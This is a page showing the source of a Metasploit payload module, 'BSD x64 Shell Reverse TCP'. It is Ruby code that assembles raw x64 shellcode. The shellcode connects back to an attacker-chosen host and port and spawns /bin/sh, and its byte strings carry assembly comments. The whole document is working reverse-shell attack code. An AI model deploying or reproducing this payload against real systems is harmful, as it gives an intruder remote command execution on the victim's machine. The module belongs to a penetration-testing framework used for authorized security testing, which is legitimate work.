Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 98910include Msf::Payload::Single11include Msf::Payload::Bsd12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'BSD x64 Shell Reverse TCP',17'Description' => 'Connect back to attacker and spawn a command shell',18'Author' => [19'nemo <nemo[at]felinemenace.org>',20'joev' # copy pasta monkey21],22'License' => MSF_LICENSE,23'Platform' => 'bsd',24'Arch' => ARCH_X64,25'Handler' => Msf::Handler::ReverseTcp,26'Session' => Msf::Sessions::CommandShellUnix27))2829# exec payload options3031register_options(32[33OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]),34Opt::LHOST,35Opt::LPORT(4444)36])37end3839# build the shellcode payload dynamically based on the user-provided CMD40def generate(_opts = {})41lhost = datastore['LHOST'] || '127.0.0.1'4243# OptAddress allows either an IP or hostname, we only want IPv444if not Rex::Socket.is_ipv4?(lhost)45raise ArgumentError, "LHOST must be in IPv4 format."46end4748cmd = (datastore['CMD'] || '') + "\x00"49port = [datastore['LPORT'].to_i].pack('n')50ipaddr = [lhost.split('.').inject(0) {|t,v| (t << 8 ) + v.to_i}].pack("N")5152call = "\xe8" + [cmd.length].pack('V')53payload =54"\x31\xc0" + # xor eax,eax55"\x83\xc0\x61" + # add eax,0x6156"\x6A\x02" + # push byte +0x257"\x5F" + # pop rdi58"\x6A\x01" + # push byte +0x159"\x5E" + # pop rsi60"\x48\x31\xD2" + # xor rdx,rdx61"\x0F\x05" + # loadall28662"\x49\x89\xC4" + # mov r12,rax63"\x48\x89\xC7" + # mov rdi,rax64"\x31\xc0" + # xor eax,eax65"\x83\xc0\x62" + # add eax,0x6266"\x48\x31\xF6" + # xor rsi,rsi67"\x56" + # push rsi68"\x48\xBE\x00\x02" + port + # mov rsi,0x100007fb315020069ipaddr +70"\x56" + # push rsi71"\x48\x89\xE6" + # mov rsi,rsp72"\x6A\x10" + # push byte +0x1073"\x5A" + # pop rdx74"\x0F\x05" + # loadall28675"\x4C\x89\xE7" + # mov rdi,r1276"\x6A\x03" + # push byte +0x377"\x5E" + # pop rsi78"\x48\xFF\xCE" + # dec rsi79"\x6A\x5A" + # push +byte 0x5a80"\x58" + # pop rax81"\x0F\x05" + # loadall28682"\x75\xF6" + # jne -0x883"\x31\xc0" + # xor eax,eax84"\x83\xc0\x3B" + # add eax,0x3b85call + # call CMD.len86cmd + # CMD87"\x48\x8B\x3C\x24" + # mov rdi,[rsp]88"\x48\x31\xD2" + # xor rdx,rdx89"\x52" + # push rdx90"\x57" + # push rdi91"\x48\x89\xE6" + # mov rsi,rsp92"\x0F\x05" # loadall28693end94end959697